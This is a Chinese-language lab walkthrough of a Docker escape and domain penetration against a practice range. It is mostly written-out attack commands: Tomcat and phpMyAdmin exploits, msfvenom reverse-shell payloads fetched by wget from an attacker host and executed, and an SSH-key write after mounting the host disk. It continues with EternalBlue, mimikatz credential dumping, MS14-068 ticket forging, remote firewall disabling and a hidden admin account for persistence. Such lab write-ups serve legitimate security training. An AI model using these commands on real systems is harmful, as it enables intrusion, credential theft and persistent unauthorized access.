记一次docker逃逸学习
字数 1739 2025-08-05 00:16:28

Docker逃逸与内网渗透实战教学文档

环境搭建

靶场环境

  • 靶机系统: Ubuntu
  • 网络配置:
    • 内网IP: 192.168.183.10
    • 外网IP: 192.168.1.6
  • 域内主机:
    • Win7: 192.168.183.129
    • Win2008(域控): 192.168.183.130
  • Docker服务端口:
    • 2001: Struts2
    • 2002: Tomcat8
    • 2003: phpMyAdmin 4.8.1

外网打点

端口扫描

使用nmap进行初步扫描:

nmap -T4 -sC -sV 192.168.1.6

发现2001、2002、2003三个开放端口。

Struts2漏洞利用(2001端口)

  1. 漏洞检测:

    • 使用漏扫工具检测发现存在S2-045和S2-046漏洞
    • S2-045返回HTML无回显
    • S2-046能够命令回显
  2. 尝试上传Webshell:

    • 上传JSP文件成功但访问返回404
    • 由于路径问题未继续深入利用

Tomcat8漏洞利用(2002端口)

  1. 漏洞识别:

    • 搜索Tomcat 8.5.19漏洞:
    searchsploit tomcat 8.5.19
    searchsploit -m /exploit/jsp/webapps/42966.py
    
    • 确认存在CVE-2017-12617漏洞
  2. 漏洞验证:

    python 42966.py -u http://192.168.1.6:2002/
    
    • 访问Poc.jsp确认漏洞存在
  3. 获取反弹Shell:

    python 42966.py -u http://192.168.1.6:2002/ -p pwn
    
    • 获得交互型shell但不便于操作
  4. 上线MSF:

    • 生成Linux木马:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
    
    • 启动HTTP服务:
    python -m SimpleHTTPServer
    
    • 靶机下载执行:
    wget http://192.168.1.10:8000/shell.elf
    chmod 777 shell.elf
    ./shell.elf
    
    • MSF监听设置:
    set payload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.1.10
    set lport 4444
    run
    

phpMyAdmin漏洞利用(2003端口)

  1. 漏洞识别:

    • phpMyAdmin 4.8.1存在CVE-2018-12613文件包含漏洞
  2. 漏洞分析:

    • index.php中存在文件包含代码
    • 需要满足五个条件才能成功包含
    • 关键点: 对target参数进行二次编码绕过检查
  3. 漏洞利用:

    • 构造payload读取/etc/passwd:
    index.php?target=db_sql.php%253f/etc/passwd
    
    • 写入PHPinfo并获取session值
    • 构造payload包含session文件获取webshell

内网渗透

Docker逃逸

  1. 信息收集:

    • 发现多个网络接口(eth0, eth1)
    • 判断为Docker容器环境
  2. 特权模式逃逸:

    • Docker特权模式(--privileged)允许容器访问主机设备
    • 操作步骤:
      mkdir tmptest
      mount /dev/sda1 /tmptest
      ls /tmptest
      
    • 生成SSH密钥并写入宿主机:
      ssh-keygen -f tmp
      chmod 600 tmp
      cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys
      echo 'ssh-rsa [公钥内容]' > /tmptest/home/ubuntu/.ssh/authorized_keys
      
    • SSH连接宿主机:
      ssh -i tmptest ubuntu@192.168.1.6
      
  3. 上线宿主机到MSF:

    • 同Tomcat8部分方法生成并执行elf木马

内网探测

  1. 路由与代理设置:

    route add 192.168.183.0 255.255.255.0 3
    use auxiliary/server/socks_proxy
    set version 4a
    run
    
    • 配置proxychains.conf文件
  2. 内网扫描:

    • 使用UDP探测模块:
    use auxiliary/scanner/discovery/udp_probe
    set rhosts 192.168.183.1-255
    set threads 20
    run
    
    • 发现存活主机192.168.183.129(Win7)和192.168.183.130(Win2008域控)

永恒之蓝攻击

  1. 攻击Win7(192.168.183.129):

    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set rhosts 192.168.183.129
    run
    
    • 成功获取SYSTEM权限meterpreter
    • 进程迁移到x64进程(如472)
  2. 信息收集:

    chcp 65001
    net user
    net view /domain
    
    • 确认域环境: DEMO

密码获取

  1. 使用Mimikatz:

    • 上传mimikatz
    • 令牌窃取获取SYSTEM权限:
    use incognito
    impersonate_token "NT AUTHORITY\SYSTEM"
    mimikatz.exe
    privilege::debug
    sekurlsa::logonpasswords
    
    • 获取域凭据: douser/Dotest123
  2. 检查Ubuntu命令历史:

    • 查找可能保存的凭证信息

域控横向移动

  1. 票据伪造(PTT):

    • 使用MS14-068生成票据:
    ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    
    • 注入票据:
    mimikatz # kerberos::list
    mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache
    
    • 验证票据:
    klist
    
  2. IPC连接域控:

    net use \\WIN-ENS2VR5TR3N
    
  3. 上传并执行MSF木马:

    • 生成正向连接木马:
    msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe
    
    • 创建计划任务执行:
    schtasks /create /tn "test" /tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130
    
    • 关闭防火墙:
    sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\WIN-ENS2VR5TR3N start unablefirewall
    
    • MSF监听:
    use exploit/multi/handler
    set payload/meterpreter/bind_tcp
    set lhost 192.168.1.10
    set lport 4444
    run
    
    • 提权:
    getsystem
    
  4. 获取域管凭据:

    • 上传mimikatz获取: DEMO/qwe123!@#
  5. 开启远程桌面:

    run post/windows/manage/enable_rdp
    
    • 使用代理连接:
    proxychains4 rdesktop 192.168.183.130
    

权限维持

  1. 添加隐藏用户:

    net user admin$ qaz123!@# /add
    net localgroup administrators admin$ /add
    
  2. 金票维持(可选):

    • 使用mimikatz生成黄金票据

关键知识点总结

  1. Docker逃逸技术:

    • 特权模式逃逸原理
    • 设备挂载利用
    • SSH密钥写入技术
  2. Web应用漏洞利用:

    • Struts2漏洞识别与利用
    • Tomcat CVE-2017-12617漏洞利用
    • phpMyAdmin文件包含漏洞利用
  3. 内网渗透技术:

    • 路由与代理配置
    • 永恒之蓝漏洞利用
    • 票据伪造攻击(PTT)
    • 横向移动技术
  4. 权限维持方法:

    • 隐藏用户创建
    • 黄金票据生成
  5. 工具使用:

    • MSFVenom木马生成
    • Mimikatz凭证获取
    • Proxychains代理工具

本教学文档涵盖了从外网打点到内网渗透的完整流程,重点突出了Docker逃逸技术和域环境渗透方法,可作为红队实战参考。

Docker逃逸与内网渗透实战教学文档 环境搭建 靶场环境 靶机系统 : Ubuntu 网络配置 : 内网IP: 192.168.183.10 外网IP: 192.168.1.6 域内主机 : Win7: 192.168.183.129 Win2008(域控): 192.168.183.130 Docker服务端口 : 2001: Struts2 2002: Tomcat8 2003: phpMyAdmin 4.8.1 外网打点 端口扫描 使用nmap进行初步扫描: 发现2001、2002、2003三个开放端口。 Struts2漏洞利用(2001端口) 漏洞检测 : 使用漏扫工具检测发现存在S2-045和S2-046漏洞 S2-045返回HTML无回显 S2-046能够命令回显 尝试上传Webshell : 上传JSP文件成功但访问返回404 由于路径问题未继续深入利用 Tomcat8漏洞利用(2002端口) 漏洞识别 : 搜索Tomcat 8.5.19漏洞: 确认存在CVE-2017-12617漏洞 漏洞验证 : 访问Poc.jsp确认漏洞存在 获取反弹Shell : 获得交互型shell但不便于操作 上线MSF : 生成Linux木马: 启动HTTP服务: 靶机下载执行: MSF监听设置: phpMyAdmin漏洞利用(2003端口) 漏洞识别 : phpMyAdmin 4.8.1存在CVE-2018-12613文件包含漏洞 漏洞分析 : index.php中存在文件包含代码 需要满足五个条件才能成功包含 关键点: 对target参数进行二次编码绕过检查 漏洞利用 : 构造payload读取/etc/passwd: 写入PHPinfo并获取session值 构造payload包含session文件获取webshell 内网渗透 Docker逃逸 信息收集 : 发现多个网络接口(eth0, eth1) 判断为Docker容器环境 特权模式逃逸 : Docker特权模式(--privileged)允许容器访问主机设备 操作步骤: 生成SSH密钥并写入宿主机: SSH连接宿主机: 上线宿主机到MSF : 同Tomcat8部分方法生成并执行elf木马 内网探测 路由与代理设置 : 配置proxychains.conf文件 内网扫描 : 使用UDP探测模块: 发现存活主机192.168.183.129(Win7)和192.168.183.130(Win2008域控) 永恒之蓝攻击 攻击Win7(192.168.183.129) : 成功获取SYSTEM权限meterpreter 进程迁移到x64进程(如472) 信息收集 : 确认域环境: DEMO 密码获取 使用Mimikatz : 上传mimikatz 令牌窃取获取SYSTEM权限: 获取域凭据: douser/Dotest123 检查Ubuntu命令历史 : 查找可能保存的凭证信息 域控横向移动 票据伪造(PTT) : 使用MS14-068生成票据: 注入票据: 验证票据: IPC连接域控 : 上传并执行MSF木马 : 生成正向连接木马: 创建计划任务执行: 关闭防火墙: MSF监听: 提权: 获取域管凭据 : 上传mimikatz获取: DEMO/qwe123 !@# 开启远程桌面 : 使用代理连接: 权限维持 添加隐藏用户 : 金票维持(可选) : 使用mimikatz生成黄金票据 关键知识点总结 Docker逃逸技术 : 特权模式逃逸原理 设备挂载利用 SSH密钥写入技术 Web应用漏洞利用 : Struts2漏洞识别与利用 Tomcat CVE-2017-12617漏洞利用 phpMyAdmin文件包含漏洞利用 内网渗透技术 : 路由与代理配置 永恒之蓝漏洞利用 票据伪造攻击(PTT) 横向移动技术 权限维持方法 : 隐藏用户创建 黄金票据生成 工具使用 : MSFVenom木马生成 Mimikatz凭证获取 Proxychains代理工具 本教学文档涵盖了从外网打点到内网渗透的完整流程,重点突出了Docker逃逸技术和域环境渗透方法,可作为红队实战参考。